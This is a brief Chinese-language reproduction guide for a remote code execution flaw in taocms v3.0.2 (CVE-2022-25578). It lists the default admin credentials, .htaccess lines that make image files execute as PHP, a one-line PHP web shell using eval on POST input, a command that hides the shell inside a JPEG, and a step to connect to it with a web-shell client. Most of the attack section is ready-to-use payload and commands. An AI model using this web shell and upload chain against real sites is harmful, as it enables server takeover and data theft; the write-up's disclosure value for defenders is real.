taocms 远程代码执行漏洞（CVE-2022-25578）

一、漏洞概述

taocms v3.0.2允许攻击者通过编辑.htaccess文件执行任意代码，默认账号密码admin/tao。

二、影响范围

taocms v3.0.2

三、访问页面

四、漏洞复现

1、登录后台/admin/

2、修改.htaccess

//让.jpg文件以.php文件执行
AddType application/x-httpd-php .jpg

//让.png文件以.php文件执行
AddType application/x-httpd-php .png

//所有文件以.php文件执行，可能会造成程序异常
AddType application/x-httpd-php

3、准备图片马，准备一张普通1.jpg的图片和一句话木马文件1.php，然后使用cmd窗口执行

//1.php
<?php eval($_POST[cmd]) ?>

copy 1.jpg/b+1.php/a ma.jpg

4、上传图片马。

5、使用蚁剑等工具连接图片马。